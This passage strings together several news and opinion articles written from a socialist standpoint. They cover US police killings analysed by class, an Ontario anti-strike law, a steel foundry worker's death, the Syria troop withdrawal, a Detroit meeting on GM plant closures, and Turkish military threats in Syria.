participated in JINSAs Israel trip. He says the discussions were quite technical about suicide bombings and identification as well as evidence collection. Not long after Kerlikowske returned to the U.S., a shooting at the Seattle Jewish Federation in 2006 left one person dead and five injured.[The program] was particularly helpful in dealing with mass casualties, he says.Interest among police departments has increased over the years, according to directors of police exchanges. But as law enforcement agencies continue to face public pressure to sever their ties to Israel, Haberfeld says U.S. police departments need to balance terrorism-fighting strategies with what's best for the public interest. Haberfeld cautions against blindly implementing tactics from other countries.There are things that can be learned, but they always have to be in the context of the legal system in a given country, she says. Its a combination of looking at what works and determining at what price. PART ONE | PART TWO | PART THREE Introduction The steady rise in police killings in the United States is the manifestation of an ongoing civil war between the ruling elite, the top one-tenth of one percent, and the working class. It is not white cops vs. black youth, as portrayed by the media and groups like Black Lives Matter and the pseudo-left, anxious to elevate race over class. It is the armed representatives of the capitalist state (frequently black and Hispanic, as well as white) against the most impoverished sections of the working class, white, black, Hispanic and Native American. This study reviews all the data available on police shootings for the year 2017, and analyzes it based on geography, income, and poverty levels, as well as race. It identifies a major omission in all the published accounts: the vast and rising death toll among working-class white men in rural and small-town America, who are being killed by police at rates that approach those of black men in urban areas. Police violence is focused overwhelmingly on men lowest on the socio-economic ladder: in rural areas outside the South, predominately white men; in the Southwest, disproportionately Hispanic men; in mid-size and major cities, disproportionately black men. Significantly, in the rural South, where the population is racially mixed, white men and black men are killed by police at nearly identical rates. What unites these victims of police violence is not their race, but their class status (as well as, of course, their gender). The wave of killings by police officers that occurred in the period from 2014 to 2016, many caught on personal smartphones and released through social media channels, led to an outpouring of popular rage against these crimes. Protests against these horrific killings perpetrated by the police officers, who for the most part face little or no consequences, have become commonplace. Some of the best-known cases include: Eric Garner, July 17, 2014, Staten Island, NY (Grand jury did not indict Officer Pantaleo.) Michael Brown, age 18, August 9, 2014, Ferguson, MO (Grand jury did not indict Officer Wilson.) Laquan McDonald, October 20, 2014, Chicago, IL (Officer Van Dyke convicted of second-degree murder. On December 14, 2018, Van Dyke was denied a new trial, with sentencing set for January 18, 2019.) Tamir Rice, age 12, November 23, 2014, Cleveland, OH (Wrongful death suit settled. No charges brought against the officers.) Walter Scott, April 4, 2015, North Charleston, SC (Because of a bystanders video, Officer Slager was convicted of second-degree murder and sentenced to 20 years.) Freddie Gray, April 12, 2015, Baltimore, MD (He died of spinal cord injuries during a rough ride in the back of a police van. Six officers were indicted but two were acquitted, a third ended in a hung jury, after which charges were dropped against the others.) Sandra Bland, July 10, 2015, Prairie View, TX (Found dead in her cell and ruled a suicide. The arresting officer was fired and indicted for perjury. No one charged with her death.) Alton Sterling, July 5, 2016, Baton Rouge, LA (District attorney decided not to bring charges against two policemen.) Philando Castile, July 6, 2016, Falcon Heights, MN (Officer Yanez acquitted of all charges a year later, then fired.) All of these victims were black and poor. All the killings took place in urban areas or their suburbs. In all but the Castile case, the officers involved were white. These demographic characteristics were well publicized and became the media template for all such police killings. But a more thorough investigation shows that the killing of poor blacks by white cops is only one aspect of the reign of terror by American police against the working class, and not even the most common form of such killings. Enormous resources have been mobilized to spread the race, not class mythology of police killings. Black Lives Matter (BLM) was formed in the aftermath of Trayvon Martins killing by neighborhood watchman George Zimmerman in 2012. As a response to the growing tension within these communities associated with these killings, BLM was used to channel the anger along racialist lines and, ultimately and politically, in support of the Democratic Party. As we wrote in 2017, From the beginning, the mothers of the movement Alicia Garza, Patrisse Cullors and Opal Tometiwho collectively adopted the famous hashtagspecifically opposed uniting blacks, whites and immigrants against the brutal class-war policies of the capitalist state. Instead, the group did its best to confine anti-police violence protests within the framework of the capitalist system and push a racialist and pro-capitalist agenda. Big money donors lined up behind BLM. The Ford Foundation made a six-year $100 million investment in the organization. BLM garnered endorsements from companies such as Facebook, Nike and Spotify. BLM has gone on to partner with Fortune 500 New York ad agency J. Walter Thompson (JWT) to create the biggest and most easily accessible black business database in the country. The data on police killings Before 2015, two federal databases, from the FBI and Bureau of Justice Statistics (BJS), were the main sources used to track police shootings. However, these figures, self-reported by the police, have been found to be incomplete and inaccurate. Accordingly, several private groups and media outlets began to systematically track police killings through news reports, publishing the data on their websites. The Washington Post tracks people shot dead by police, while the Guardian records all people killed by police, regardless of the means and Fatal Encounters attempts to count all police killings as far back as the year 2000. Fatal Encounters, besides using news sources, also uses several other public databases and research methods. In 2015, the Washington Post counted 990 shot dead while the Guardian counted 1,146 killed. Fatal Encounters counted 1,357 killed. Academicians and researchers, to provide a veneer of scientific corroboration to the racialist perspective promulgated by mainstream media, have been using the information in these databases to publish peer-reviewed articles to substantiate their perspective on identity politics, push through racialist agendas, and direct the national discussion on these issues. However, there is little substance to their analytical approach, which generally avoids the socio-economic dimension to the phenomenon of police killings, or at best, treats it as one more (usually lesser) factor, in the name of intersectionality, in which class is blended in to the basic framework of identity politics. By example, a recently published paper in the American Journal of Public Health titled, Risk of Police-Involved Death by Race/Ethnicity and Place, United States, 20122018, toes the line that race plays a powerful role in explanations of police-involved killings in the United States. Their results note that in the US police kill on average 2.8 people per day. Blacks are killed at 1.9 to 2.4 deaths per 100,000 per year, a threefold higher rate than whites, who are killed by police at a rate of 0.6 to 0.7 per 100,000. Beyond these rudimentary statistics there is little else to take from the study than to accept the authors conclusions unquestioningly, Indeed, our results show thatlike other police-related outcomes, which vary across the nation according to local political and social forcespolice-involved deaths are contingent upon local contextual environments. Structural racism, racialized criminal-legal systems, anti-immigrant mobilizations, and racial politics all likely play a role in explaining where police killings are most frequent and who is most likely to be a victim. The method of this study The present study was undertaken to better understand the demographics and economic aspects of police killings in the US, treating police killings as though we were observing an epidemic and seeking to understand the main risk factors that made sections of the population more or less vulnerable. We used the 2017 data from the Washington Post database for our analysis. These were cross-referenced with the KilledbyPolice.net website to ensure accuracy and attempt to fill in missing information such as race, name, and age of some of the victims. News reports from approximately 15 to 20 percent of these events were reviewed to glean the context of some of these killings as well as help locate the site of shooting for further in-depth analysis. We used information on the location of the shooting to perform a ZIP Code analysis for some of the metropolitan centers and medium-sized cities where blacks were killed at a much higher proportion than in the population. The US Census Bureau website was used to obtain demographic and economic data on states, cities and towns where police killings took place. Data USA and City-Data.com websites were used for population centers under 5,000 people. Economic data used included Median Household Incomes (MHI), Percentage in Poverty (PP), and employment and not in the workforce categories to determine the role of these factors in police killings. Academic studies and news reports use national demographics to compare the rate of those killed by their race. For instance, blacks make up approximately 12 percent of the US population, but they make up about 25 percent of those killed by police. Therefore, blacks are killed by police at more than twice their representation. These numbers are standardized to a rate of numbers killed per 100,000 to form a consistent unit to compare across racial groups. It should be understood that we had to use the category of race despite its completely unscientific character, because virtually all data on police killings describes the victims in such terms. More than three percent of the adult US population, and ten percent of all children, are officially categorized as mixed race, and from a historical standpoint, the proportion of Americans whose ancestry combines white, black and Native American is even larger. But victims of police killings, and their killers, are not usually categorized in media or government reports in that fashion. Our statistics also used this methodology to conform to the published literature. However, our hypothesis differs from the published studies. The United States is not homogenously diverse. There are significant variations from state to state and from population centers like metropolises to small rural communities in how the demographics are configured. The Southeast states have large black populations in both urban and rural areas, the Midwest is predominately white, particularly outside city centers, and the Southwest has a very high Hispanic population. Metropolitan centers have higher minority populations while rural communities have a preponderance of white people. There are also considerable socioeconomic variations within these regions. We tabulated the population estimates and demographics based on the locations where police killings took place which allowed us to compare these regions against the nation as a whole. This also provided the ability to compare economic data for these regions and provide a more accurate estimate of the real picture. We used the Excel spreadsheet for performing and tabulating the basic statistics. The entire Washington Post data set was imported for this analysis. Web-based chi-squared tests were performed using analytic software to estimate confidence intervals and determine the significance of the findings, a statistical method used to denote a difference that has a low probability of being a chance occurrence. The P-value of 0.05 or less connotes that there is less than a 5 percent probability that the significance in the finding was due to chance. A P-value closer to 1.00 suggests that differences are random or minor. We also employed statistics that looked at observed vs. expected outcomes in each state. The observed outcomes are the reported racial distribution of killings in each state. The expected numbers are derived from the states actual demographics. For example, in the state of Alabama, there were 25 people killed. Fourteen (56 percent) were identified as white, seven (28 percent) were black, and 1 (4 percent) was Hispanic. The actual state demographics are 65.8 percent white, 26.8 percent black and 4.2 percent Hispanic. The observed vs. expected outcomes P-value was 0.892 for blacks, meaning that the racial difference was not significant. This has enormous political importance: in Alabama, a state which historically is a byword for racially motivated police violence, there was no preference by the police for blacks as targets over whites. Similar neutrality by the police was found in Mississippi, an equally backward state from the standpoint of its history of racism. The racial explanation of police violence falls apart in precisely the locations where it should be most blatant. To be continued Ontarios Doug Ford-led Conservative government recalled the provincial legislature from its Christmas recess this week to pass a bill, the Protecting Ontarios Power Supply act, that outlaws a threatened strike by 6,000 Ontario Power Generation (OPG) workers. The Conservatives announced the legislatures recall late last week, shortly after the OPG workers rejected the utilitys final contract offer. The twice-rejected deal would further institutionalize two-tier pensions and benefits by continuing to deny equal benefits to more than 300 workers hired on a fixed-term basis. In a virtually unprecedented move, the government is adopting anti-strike legislation before any job action has occurred. The bill outlawing the strike action and imposing binding arbitration is expected to be passed by Fords majority government today. This marks the second time in its six months in office that Fords right-wing government has recalled the legislature to adopt an anti-strike law. In the current dispute, members of the provincial Power Workers Union (PWU) rejected a contract offer last August that was recommended by the union leadership. Last week, OPG workers rejected by a 60 percent majority virtually the same offer when the union again presented it to them. A 21-day strike notification was then issued by the union in order to prepare for an orderly shutdown of nuclear power stations. The PWU represents workers at OPGs string of nuclear installations, as well as natural gas plants, wind and thermal facilities and hydroelectric dams. The provincial government-owned OPG produces about half of the provinces electricity. Since Ford took office, his Progressive Conservatives have adopted a battery of right-wing measures. These include: retracting a minimum wage increase and newly-enacted provisions providing pay guarantees for on-call workers and increased paid-leave; welfare cuts; a provincial hiring freeze; cuts to education funding; and legislation outlawing a strike by graduate teaching and research assistants at York University. Anticipating mounting popular opposition, Ford has sought to cultivate an ultra-right constituency, by pandering to the police and the religious right and by scapegoating refugees for the social crisis produced by decades of cuts to social housing by all three major parties. The Ontario premiers banning of strikes and embrace of anti-democratic methods of rule is part of an international process rooted in the deepening global capitalist crisis. From the Trump administration in the US to Emmanuel Macrons government, which has used state violence in an unsuccessful bid to crush Frances yellow vest protests, and the German governments embrace of the anti-immigrant chauvinism of the Alternative for Germanyruling elites the world over are running roughshod over traditional democratic norms to enforce the interests of the corporate elite and super-rich in the face of mounting working-class opposition. Fords anti-strike bill comes in the wake of the federal Liberal governments outlawing of a bitter five-week rotating strike against Canada Post. Postal workers were also legislated back to work in 2011 by the previous Conservative government of Stephen Harper. Harpers Conservatives routinely adopted or threatened strike-breaking legislation against railway, airline and other workers. Although the Conservatives 2011 legislation targeting postal workers was eventually ruled to be in violation of the Canadian constitutions Charter of Rights and Freedoms, the court imposed no penalties, let alone reversed the pension cuts, expansion of two-tier wages and other concessions the government bludgeoned from postal workers. Fords Energy Minister Greg Rickford displayed his governments utter contempt for workers rights, with his quip that the power workers dispute was less about rights and more about lights. As for Ford, he has mused that his government may designate OPG an essential service, thereby stripping the power workers of the right to strike in perpetuity. We havent crossed that bridge yet, said Ford, then added, Would we rule it out? We wouldnt rule anything out. Nonetheless, the Conservatives have taken the measure of the Power Workers union bureaucracy. Their legislation is aimed at parrying discontent amongst rank-and-file power workers (and workers in general), not the union that has already recommended OPGs contract offer (and been rebuked by the membership for doing so). We appreciate the Power Workers Union, said Minister Rickford. They issued their vote to strike and strike notice on Friday and they remain on the job. We appreciate that, because we think they understand the importance of no interruptions during this critical season of peak demand and temperatures getting colder. True to form, the Power Workers Union (PWU) immediately signaled that it will enforce the no-strike law. In a press release, the PWU expressed its disappointment, while citing PWU President Mel Hyatts boast that the union has a proven track record of negotiating responsible agreements. The PWUs priority, added Hyatt, has always been the strength and health of Ontarios electricity sector. The union has a long history of collaboration with big business Ontario governments from its opposition to the Days of Action strikes against the Mike Harris Conservative government in 199697 to its active support for the Liberals privatization of Hydro One. Indeed, one of the unions past presidents, John Murphy, jumped directly from union head to OPG executive management in 2001. In the last contract with OPG in 2015, the union negotiated pension givebacks in return for workers receiving a few shares of Hydro One stock each year for the next 12 years. The PWUs support for privatization is not some one-off aberration, as many apologists for the pro-capitalist unions have argued. In 2015, it was revealed that in the run-up to the June 2014 provincial election, bureaucrats in the Ontario Public Service Employees Union (OPSEU) sought to get their snout in the trough of a potential privatization of the Liquor Control Board of Ontario, offering themselves as potential new owners of the operation. As for the Ontario Federation of Labour, it has made it clear, ever since Ford came to power, that it is adamantly opposed to any working class mobilization against his class-war government. This is exemplified by a countdown clock on the masthead of its website that shows the time remaining until the next provincial election in 2022 and the possibility of replacing the Conservatives with a progressive government, i.e., some governmental combination of the NDP and the Liberals that will be as beholden to the demands of the corporate elite as Ford. OPSEU union head Smokey Thomas put things more bluntly, instructing his restive membership to just cool it. Both the New Democratic Party (NDP), Ontarios current official opposition, and the former governing Liberals have stated that they will vote against Fords anti-strike legislation. This is rich. When holding the reins of power, both parties have launched vicious attacks on workers rights to strike and bargain collectively in Ontario and every other province. Power workers should be under no illusions. Hyatt and the PWU bureaucracys refusal to mobilize against Fords diktats conform to a decades-long pattern. The unions systematically demobilize workers and prevent them from preparing for a clash with the political representatives of big business; then when the state intervenes, they insist that the workers are isolated and have no choice but to bow before any government anti-strike order. Rank-and-file action committees must be established at every power installation independent of the union apparatus. They should reach out to workers across Canada to organize a counteroffensive against austerity, concessions, the criminalization of workers struggle and all the attacks of the big business Ford and Trudeau Liberal governments. Fifty-four-year-old Roy Evans of Carrollton, Illinois, was killed while working at the American Steel Services foundry in Granite City, Illinois, around 1:00 p.m. on December 13, where he had worked for 15 years. A spokesperson for the Occupational Safety and Health Administration (OSHA) released an initial statement to the press the following day and determined the death resulted from a stack of metal skids falling on top of him, crushing his body. Evans was brought to Gateway Regional Medical Center in Granite City where he soon died of his injuries. The skids that fell on top of him are metal frames used to hold industrial parts, weighing approximately 2,000 pounds each. OSHA Region V director for public affairs and media relations, Scott Allen, told local news that the agency had up to six months to complete an investigation. Nearly all OSHA investigations into workplace fatalities take the full six months, in part due to understaffing, the result of budget cuts by successive Democratic and Republican party administrations. The Madison County Coroners Office told the World Socialist Web Site that the cause of death was determined to be blunt trauma to the chest area. Evans was a member of the United Steelworkers union (USW). His funeral service was held yesterday at the Crawford Funeral Home in Jerseyville. He is survived by his wife, Vicki, their four children and childrens spouses, and three grandchildren. He is also survived by four brothers and five sisters. A collection was taken at the funeral home to help provide financial support for the Evanses youngest son. Like many working class families, the Evanses are no doubt under serious financial and emotional strain as the holiday season approaches, deepened by the loss of their beloved family member. The Bureau of Labor Statistics reports Fatal Occupational Injuries increased steadily in recent years, from 4,585 in 2013 to 5,190 in 2016. The latest data shows that workplace deaths dipped only very slightly to 5,147 in 2017, still a significant increase over the 2013 numbers. Antonio Wellmaker, president of United Steelworkers Local 1063, issued a statement on Evans death, telling the Belleville News-Democrat, USW Local 1063 would like to express our deepest condolences to the family and friends of our brother Roy Evans. However, the facts show the USW complicit in the steady undermining of safety conditions. The American Steel Foundry in Granite City, owned by Amsted Rail Company, has five OSHA reports at its Granite City location on record since 2011, and many others at its other locations throughout the US. The OSHA investigations have resulted in seven serious safety violations and fines of over $20,000. A 2015 report revealed that a worker suffered a broken pelvis as a result of being crushed between a rolling car and a parked forklift. The next year, a chain partially amputated a workers thumb. The repeated serious safety violations by the company are an indictment not only of the ruthlessness of corporate managements cost-cutting measures, but of the USW, which has been complicit in the undermining of worker safety. The USW has faithfully implemented every cost-cutting measure the corporations have demanded, including increasing the hiring of contract work, outsourcing safety and health training, and the forming of management dominated joint labor-management safety and health committees in the plants. The USW has carried out all of these attacks in the name of defending the American steel industry, telling workers that in order to keep their jobs, they must take concessions in order for US companies to remain profitable in the face of competition from steel producers based in Asia, Latin America and Europe. The unions falsely proclaim that the workers interests are tied to those of the corporations, hiding the fact that workers interests and corporate interests are in fact diametrically opposed. Top officials in the USW bureaucracy, including International President Leo Gerard, who makes an annual salary of over $200,000 per year (not including Wall Street investments), have been some of the most vocal supporters of President Trumps America First nationalist policies from the earliest days of his 2016 presidential campaign. Not only that, Gerard hailed Trumps Commerce Secretary Wilbur Ross, the notorious asset stripper who oversaw the consolidation of the steel industry in the 2000s, as someone who was open and accessible and candid and honest and saved literally tens of thousands of jobs. Trumps visit to a US Steel (USS) mill in Granite City on July 26 trumpeted the re-opening of the mills blast furnace as proof that his administrations America First nationalism and trade war policies were leading to increased employment in the US. In reality, USS only planned to hire for 800 positions through this year in Granite City, less than half of the 2,000 jobs that were lost in layoffs in 2015 under the Obama administration. Furthermore, the trade war measures, mainly aimed at China, including a 25 percent tariff on steel and aluminum shipped into the United States, have produced a heated international trade conflict, which pits workers in different countries against each other in a race to the bottom. At the same time the Trump administration lauded the re-opening of the furnace at US Steel, farmers in the area were experiencing a crisis as the Chinese government levied retaliatory tariffs on soybeans imported from the US. Contrary to the lies of both the Democrats and Republicans, nationalist economic policies do nothing to benefit the working class. They ultimately lead to tit-for-tat trade war and ultimately military war, pitting workers against one another as corporations scramble for profits. The inevitable results are ever-deeper attacks on jobs and working conditions. The right to a job, decent pay, good benefits and a safe workplace where no worker runs the risk of dying because they must feed their families will not be secured through the representatives of the corporate ruling class in either of the two capitalist political parties or their lackeys in the trade unions. The only way forward for workers to secure a safe workplace is to form rank-and-file safety committees in every plant, independent of the USW. Workers in steel mills need to link up with workers at General Motors, Chrysler and Ford, who are fighting against plant closures and layoffs, and workers at United Parcel in solidarity with the millions of workers around the world who are coming into struggle against the capitalist system. These committees must have as a guiding perspective opposition to corporate rule, and must advance a socialist perspectivein which the productive forces of society are used to meet the social needs of the international working class, not the profit interests of a wealthy few. An apparent order by US President Donald Trump for the withdrawal of all 2,000 US troops deployed in Syria over the next 60 to 100 days has sparked consternation and sharp opposition from the Pentagon, top Democrats and Republicans on Capitol Hill as well as Washingtons NATO allies. The withdrawal order, which was leaked to the media by senior officials within the administration and the military, was given what apparently constituted a confirmation by a brief tweet from Trump Wednesday declaring, We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. This was followed later in the day by a statement from White House spokeswoman Sarah Sanders, declaring, We have started returning United States troops home as we transition to the next phase of this campaign, adding, The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary. The White House announcement was followed by yet another statement from the Pentagon, whose spokeswoman Dana White flatly contradicted the US president, declaring that the coalition has liberated ISIS-held territory, but the campaign against ISIS is not over. ISIS is an acronym for the Islamic State terror group. We will continue working with our partners and allies to defeat ISIS wherever it operates, she said, giving no details as to a timeline, noting force protection and operational security reasons. Meanwhile, Reuters quoted an unnamed US official as stating Wednesday that all US State Department personnel operating inside Syria were being evacuated from the country within 24 hours. The official also said that the withdrawal plans flowed directly from an agreement reached between Trump and Turkeys President Recep Tayyip Erdogan during a telephone conversation last Friday. Everything that has followed is implementing the agreement that was made in that call, the official said. The call was reportedly made to discuss Turkeys concerns over the presence of the Syrian Kurdish separatist YPG militia near the Syrian-Turkish border. The YPG is the main element of the Syrian Democratic Forces, the proxy ground force that the US has backed in northeastern Syria. Erdogan, whose government views the YPG as an extension of the Turkish Kurdish separatist PKK, against which Ankara has waged a decades-long counterinsurgency campaign, has repeatedly threatened that a Turkish intervention against the YPG is imminent. Turkish forces, including armor, have reportedly been deployed to the border. While Washington is no doubt anxious to avoid a potential military confrontation with Turkey, a member of the NATO alliance, the Trump White House has taken other measures aimed at restoring US-Turkish relations, which have been strained since the abortive July 2016 military coup, which enjoyed covert backing from Washington. Just hours before the withdrawal announcement, the State Department informed Congress of a proposed $3.5 billion dollar deal to sell Turkey Patriot anti-ballistic missile systems, manufactured by Raytheon. Ankara had previously signaled its intention to buy S-400 surface-to-air missile systems from Russia. Such a purchase would have precluded Turkeys purchase of US F-35 warplanes, and would have brought the countrys relations with NATO to a breaking point. The announced withdrawal of US troops may signal a green light to the Erdogan government to launch its threatened invasion of eastern Syria and drive Kurdish forces from the border. In the absence of US troops, the YPG may seek to reach an accommodation with Damascus, restoring control of the region to the Syrian government of President Bashar al-Assad. The illegal US occupation of Syria, begun under the Obama administration in October 2015 without authorization from either the United Nations or the Syrian government, was expanded under Trump, with at least 2,000 US troops deployed in northeastern Syria as well as special forces near the borders with Iraq and Jordan in the south. The launching of the so-called war on ISIS in Syria signaled a shift from the failed US strategy of regime change based upon CIA support for Al Qaeda-linked militias in a bloody war to bring down the Assad government. US troops on the ground in Syria coordinated a savage campaign of airstrikes and bombardments that reduced the city of Raqqa and other towns controlled by ISIS to rubble. While during the presidential campaign of 2016 Trump had vowed to withdraw US troops from Syria, Pentagon, intelligence and other national security officials had dissuaded him against acting on the promise. Figures like Defense Secretary James Mad Dog Mattis, National Security Advisor John Bolton and chairman of the Joint Chiefs of Staff Gen. Joseph Dunford have reiteratedincluding just weeks agoa strategy based on an open-ended US military presence in Syria aimed at rolling back both Iranian and Russian influence and ultimately securing Washingtons original aim of overthrowing Assad and imposing a more pliant puppet regime in Damascus. For his part, Dunford stated earlier this month that the US military was only one-fifth of the way towards its goal of training and arming a force of 35,000 to 40,000 proxy troops in northeastern Syria to provide security over what would effectively be a US protectorate carved out of the Middle Eastern country. In occupying northeastern Syria, the US military and its proxies have seized control over roughly a third of the country, including, most crucially, Syrias oil and natural gas fields as well as its eastern border with Iraq. By maintaining this domination, Washingtons aim was to preclude any reunification and reconstruction of the war-ravaged country and continue the murderous conflict until the US achieved its strategic aims. The announcement of the planned withdrawal drew sharp criticism from leading Republicans in Congress, who appeared to have been blindsided by the shift in policy. Senator Lindsey Graham described the withdrawal as a huge Obama-like mistake, invoking previous Republican criticisms of Obama for withdrawing US troops from Iraq in 2011. The decision to pull out of Syria was made despite overwhelming military advice against it, Republican Senator Marco Rubio tweeted. It is a major blunder. It [sic] it isnt reversed it will haunt this administration & America for years to come. Also apparently caught unawares by the apparent shift in US policy in Syria was Washingtons closest NATO ally. British Defense Minister Tobias Ellwood issued a statement declaring that he strongly disagreed with Trumps decision. It [ISIS] has morphed into other forms of extremism and the threat is very much alive, he said in a tweet. Among those who did receive an advance warning was Israels Prime Minister Benjamin Netanyahu. The US administration has told me that it was the presidents intention to pull out their troops from Syria. They clarified that they have other ways to wield their influence in that arena, he told the Israeli daily Haaretz. The main instrument of US influence has been devastating US airstrikes, which have been launched from bases in Qatar and elsewhere in the Middle East. Meanwhile, the US maintains a force of at least 5,000 troops across the border in Iraq, capable of delivering artillery fire into eastern Syria. The announced withdrawal of US troops from Syria will undoubtedly intensify the internecine conflicts within the US ruling establishment and state, while at the same time increasing tensions within the Middle East. It is not a harbinger of any deescalation of the armed conflicts in the region. With or without boots on the ground in Syria, Washingtons military aggression against Iran and Russia will only intensify. The Detroit branch of the Democratic Socialists of America (DSA) and the Labor Notes publication sponsored a Community conversation on the GM Plant Closing Tuesday night at Wayne State University. The event featured Rashida Tlaib, a DSA member who was recently elected as the Democratic Partys candidate for US House of Representatives in Michigans 13th Congressional District, which covers parts of Detroit and its western suburbs. The meeting took place as anger continues to grow over the November 26 announcement by General Motors that it is closing five plants in the US and Canada, including the Detroit-Hamtramck Assembly Plant, and eliminating nearly 15,000 hourly and salaried jobs. To stem popular outrage, CEO Mary Barra said 2,700 hourly workers in the US could be rehired at other plants. This would force hundreds to uproot their families and move as far away as Arlington, Texas for a job. It would not include hundreds of temporary part-time workers, who have no transfer rights. The event Tuesday night, however, was not intended to organize a fight by rank-and-file autoworkers and other sections of workers to stop the plant shutdowns and mass layoffs. For all their denunciations of GM, corporate greed and even capitalism, Tlaib and other speakers accept GMs destruction of jobs as an accomplished fact. Tlaib and Sean Crawford to right The Democratic congresswoman-elect and speakers from the DSA and former local union presidents associated with Labor Notes and the Autoworker Caravan spent the night promoting illusions in the United Auto Workers and the Democratic Party. Tlaib was silent on the role of her own party, which under President Obama spearheaded the attack on the jobs and living standards of autoworkers. After handing trillions to bail out the Wall Street banks, Obama demanded that autoworkers accept a 50 percent wage cut for new workers as a condition for bailing out GM and Chrysler. In addition, the presidents Auto Task Force demanded sweeping cost-cutting, including the closure of two dozen plants in the US and more worldwide, and the elimination of tens of thousands of jobs. Underscoring her impotence, Tlaib said she sat across from Mary Barra last week at Harvard University and realized that nothing I said was going to change their mindsit was all about money. Asked by the event moderator, Jane Slaughter, what would be done with the empty Detroit factory after GM abandoned it, Tlaib said, There is power of leverage. That might be through other companies coming, I dont know. She did not acknowledge that any new owner would demand greater givebacks from workers and more tax abatements to locate in Detroit. Other speakers, including former UAW officials Wendy Thompson and Frank Hammer, two founders of the Autoworker Caravan, suggested that Tlaib try to persuade her congressional counterparts to transform the closed factory into one that builds electric cars and trucks and wind turbines. This was a rehash of their role in 2009, when they encouraged illusions in the Obama administration, saying the government could be persuaded not to demand wage and benefit concessions and to transform the industry to build public transit. Jane Slaughter Aware that millions of workers see the Democrats, no less than the Republicans, as tools of big business, Tlaib tried to encourage workers to keep hope alive in this capitalist party. Weve kind of given up, that we dont think that the votes in City Hall matter, she said. She noted that many of her constituents asked her, Are you going to be one of those that sell out when you get to Congress? This prompted the following exchange. How can we help you not to sell out? the moderator Jane Slaughter asked. The new congresswoman replied that this feat could be accomplished by helping her stay connected with local issues and advocacy groups instead of making compromises. When I try to set a legislative agenda on behalf of you If I do things differently its not to dis anyone, its to keep me from selling out. The meeting began with a screening of the 1983 documentary film Poletown Lives by George Corsetti, which is about the struggle of working-class residents in the Detroit enclave of Hamtramck to oppose the decision by GM and the Detroit city government to evict 4,200 residents and bulldoze their homes, churches and small businesses to make way for a new assembly plant. The Detroit-Hamtramck plant, built in 1985, is now being closed. The strength of the film was its indictment of the Democrats, in particular Detroit Mayor Coleman Young and the City Council, which deployed police to arrest protesters and carry out the mass evictions on behalf of GM. It also showed how the UAW, whose president was on the corporate board of directors of Chrysler at the time, ignored the pleas of residents and backed the destruction of their neighborhood. The parallels with the current situation are impossible to miss. Four decades on, the UAW owns millions of dollars in GM shares, has been exposed for taking massive bribes in exchange for signing concessionary contracts, and functions as an unabashed enforcer for corporate management. Seeking to strike a militant pose, Tlaib later said, I believe it is time to strike and stand up to GM. Not only did they get $51 billion to bail them out of bankruptcy, she continued, our workers gave up a huge amount of concessions in exchange that they wouldnt close any other plants. She left out the fact that it was the UAW and the Democrats that imposed these concessions on workers. Tlaib and others made it clear that they were not talking about a genuine struggle, led from below by rank-and-file workers. On the contrary, they are talking about backing the bogus campaign by the UAW, which consists of nationalist denunciations of GM for shifting production to Mexico and China, while collaborating with auto executives to impose even deeper concession on workers in the 2019 contracts. Tlaib, whose campaign was endorsed and financially backed by the UAW and other unions, said she was meeting with top UAW officials the following day to discuss the plant closings. She repeated union president Gary Jones claim that the closures were a violation of the 2015 UAW-GM agreement because they had not been negotiated with the union. Not only does the contract grant management the right to close plants due to market-related volume decline, but the UAW has negotiated the closure of scores of factories over the last four decades. During the question and answer period, a Ford worker at the Dearborn truck plant denounced the UAW for collaborating in abuse in my plant, screwing TPTs [temporary part-time workers] who pay union dues and have no rights. Why arent Ford, GM and FCA all together striking right now? Im prepared to strike. The voice of a genuine worker at the meeting threw a wrench into the efforts to whitewash the role of the UAW and the Democrats. Tlaib handed the mike to Sean Crawford, a DSA supporter who works at the Detroit-Hamtramck plant. I love my union, he said, everything I have now is because of the labor movement Why arent we striking? Under the UAW contract, there are tier two workers and third-party employees. I said lets get rid of the tiers, and it was amazing union officials opposed it. Its not bringing us together, he said lamely. A short video co-produced by Crawford was shown, which did not have a critical word to say about the UAW or the Democrats. The moderator, Jane Slaughter, would not recognize any speakers from the Socialist Equality Party and the WSWS Autoworker Newsletter. Prior to the meeting, several DSA members set up a picket line in futile effort to keep attendees from taking newsletters from the WSWS. Nevertheless, there was great interest among students, workers and young people in the December 9 meeting sponsored by the SEP and the Autoworker Newsletter, where workers voted to establish a rank-and-file action committee, independent of the UAW, to fight the plant closings. These committees would fight to link up the struggle of autoworkers with every other section of the working class, and unite US workers with their class brothers and sisters in Canada, Mexico and the rest of the world. The Ford worker said after the meeting, This is exactly what we need. Thats how we can unite all workers, in the US and everywhere, to fight. This author also recommends: A significant step forward: Detroit meeting of autoworkers resolves to form rank-and-file committees [13 December 2018] On December 12, at the Turkish Defense Industry Summit, President Recep Tayyip Erdogan vowed to launch a new military operation east of the Euphrates River in northern Syria in coming days, targeting the Kurdish nationalist groups. He dismissed arguments that US support for Kurdish nationalists was necessary to fight the terrorist threat from ISIS: There is no ISIS threat in Syria any longer. This is only a tale. We said before and we are saying now that we will start the operation in east of the Euphrates in a few days to save it from the separatist terrorist organization. It is clear that the purpose of US observation points in Syria is not to protect our country from terrorists, but to protect terrorists from Turkey. This reflected longstanding concerns in Ankara over US support for the Kurdish nationalist Peoples Protection Units (YPG) in Syria, an affiliate of the Kurdistan Workers Party (PKK), the Kurdish separatist movement against which Ankara has waged a bloody counter-insurgency for more than 30 years in Turkey. Ankara opposes Kurdish autonomy in Syria, fearing that it will provoke demands for Kurdish autonomy in eastern Turkey. To crush the Kurdish nationalist forces, Erdogan has twice ordered the Turkish army to launch its own bloody invasions of Syria: Operation Euphrates Shield (in August 2016) and Operation Olive Branch (in January 2018), directed against the US-backed YPG. Erdogans December 12 speech was a direct response to the announcement made by Department of Defense spokesman Rob Manning on December 11. At the direction of Secretary (James) Mattis, the US established observation posts in the northeast Syria border region to address the security concerns of our NATO ally Turkey, Manning said. Mattis had announced that Washington would establish observation posts in northern Syria near the Turkish border in order to share military intelligence on Kurdish movements into Turkey. Mattis remarks were framed as an attempt to reassure Turkey that US support for the Syrian Democratic Forces (SDF), which is comprised largely of YPG troops, would not harm Ankaras interests. Ankara rejected this, however, seeing it as an unacceptable proposal to place US troops athwart a Turkish attack on Kurdish forces in Syria. As high-level talks continued, US-Turkish relations were nearing the breaking point. While Washington and its European imperialist allies had initially launched the Syrian war in 2011 using Turkey as a base to resupply Islamist militias fighting the Syrian regime, Turkeys planned invasion threatened to provoke a direct clash with US troops in Syria. While Erdogan rejected US attempts to mollify Ankara by pledging to monitor the Kurdish nationalists, US officials rejected 